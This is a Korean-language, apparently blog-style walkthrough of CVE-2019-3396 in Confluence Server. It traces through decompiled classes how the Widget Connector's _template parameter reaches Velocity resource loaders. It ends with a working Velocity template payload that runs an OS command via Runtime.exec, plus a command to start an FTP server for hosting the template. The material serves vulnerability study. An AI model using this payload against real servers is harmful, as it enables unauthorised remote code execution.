
CVE-2019-3396에 대한 단계별 분석 및 익스플로잇 가이드로, Confluence Server 및 Data Center의 중요한 SSTI 취약점을 다루며 디버깅 및 RCE 페이로드 실행을 포함합니다.
영향 받는 제품: Confluence Server 및 Data Center
영향 받는 버전: 6.0.0 ~ 6.15.4
심각도: Critical (CVSS ~9.8)
원인:
Confluence에는 Widget Connector 플러그인이 있습니다 (YouTube, Vimeo 등 외부 콘텐츠를 삽입하는 데 사용).
이 기능은 사용자 입력을 제대로 검증하지 않아 서버 사이드 템플릿 인젝션(SSTI) 이 발생합니다.
공격자가 악성 payload를 보내면 → Confluence가 Velocity 템플릿 엔진으로 렌더링 → 서버에서 코드가 실행됩니다.
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector가 언급되어 있으므로 Confluence 소스 폴더에서 검색해 봅니다.
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class에 breakpoint를 설정하고 디버깅합니다.DefaultRenderManager.class를 호출합니다.
getEmbeddedHtml() 함수를 사용합니다.
YoutubeRenderer 클래스로 이동합니다.getEmbeddedHtml(String url, Map<String, String> params)입니다.url → 사용자가 입력한 YouTube 링크params → 렌더링 구성을 위한 매개변수 맵 (예: 너비, 높이, 사용할 템플릿 등)
getEmbedUrl(), setDefaultParam(), DefaultVelocityRenderService.render()를 호출합니다.setDefaultParam()에 집중합니다.
_template이 없으면 기본 템플릿인 youtube.vm을 할당합니다.
=> 프로그램에 _template을 직접 추가할 수 있습니다.
다음으로 DefaultVelocityRenderService.render()로 이동합니다.
함수 목적
url 및 params 매개변수를 받습니다.
Velocity (.vm) 템플릿을 사용하여 삽입 HTML(iframe, embed 등)을 렌더링합니다.
템플릿 결정
params에 _template이 있으면 해당 템플릿을 사용합니다.
없으면 기본값 embed.vm을 사용합니다.
MacroUtils.defaultVelocityContext()를 사용하여 기본 컨텍스트를 생성합니다.
params의 모든 매개변수를 컨텍스트에 넣습니다:
key가 tweetHtml이면 HTML을 그대로 유지합니다.
그렇지 않으면 GeneralUtil.htmlEncode()를 사용하여 안전하게 인코딩합니다.
urlHtml, width, height를 컨텍스트에 추가합니다 (비어 있으면 기본값 400×300).

VelocityUtils.getRenderedTemplate()을 호출합니다.
VelocityUtils 클래스로 이동합니다.getRenderedTemplate과 getRenderedTemplateWithoutSwallowingErrors()를 호출했습니다.
getTemplate()을 호출합니다.
여기서 templateName은 위의 _template입니다.
계속해서 VelocityEngine.Template()을 호출합니다.

VelocityEngine 클래스에서는 RuntimeInstance.getTemplate()을 호출합니다.
RuntimeInstance (Velocity 코어)
Velocity 엔진의 "심장"입니다. 다음을 담당합니다:
엔진 초기화 (init)
설정, 매크로, 파서, 지시문, 이벤트 핸들러 관리…
특히: ResourceManager를 통한 리소스 관리
→ 즉, RuntimeInstance가 직접 리소스를 로드하지 않고, resourceManager에 위임합니다.
CompatibleVelocityResourceManager.getResource()를 호출합니다.
ConfigurableResourceManager (Confluence 사용자 정의)
이는 ResourceManager 인터페이스의 구현체입니다.
다음을 담당합니다:
리소스 로더 관리 (file loader, classpath loader, URL loader 등).
globalCache 관리 (resourceKey를 기준으로 템플릿 캐싱).
RuntimeInstance가 요청할 때 템플릿 (.vm 파일)을 로드/리프레시합니다.

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
리소스가 캐시에 있으면 즉시 반환하지 않고, refreshResource(...)를 호출합니다.
refreshResource는 디스크의 lastModified 시간과 캐시의 시간을 비교합니다.
파일이 변경되었으면 캐시의 리소스가 무효화되고 → 디스크에서 다시 로드 → 캐시 업데이트.
👉 따라서 수동으로 resourceKey를 변경할 필요가 없습니다. 템플릿이 변경되면 해당 리프레시 메커니즘으로 캐시도 업데이트됩니다.
_template을 추가하고 요청을 다시 보냅니다.

ResourceLoader 인스턴스 목록을 확인합니다.

FileResourceLoader와 ClasspathResourceLoader에만 관심이 있습니다.FileResourceLoader경로 탐색을 차단하기 위해 StringUtils.normalizePath()를 호출합니다.

normalizePath의 내용은 그림과 같습니다.
/WEB-INF/web.xml 파일을 읽으려고 시도하면 파일이 성공적으로 로드되는 것을 볼 수 있습니다.
/../가 차단되어 Confluence 디렉터리를 벗어날 수 없습니다.ClasspathResourceLoader를 확인합니다.
ClassUtils.getResourceAsStream을 추적합니다.
/org/apache/catalina/loader/WebappClassLoaderBase.class의 findResource()를 호출합니다.
super.findResource()를 호출하면 URL 객체가 반환됩니다.

url.openStream()을 호출하여 데이터를 가져옵니다.


실행 payload
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") 호출 → Ubuntu에서 운영 체제 명령 "id"가 실행됩니다.python3 -m pyftpdlib -p 2005

실행:
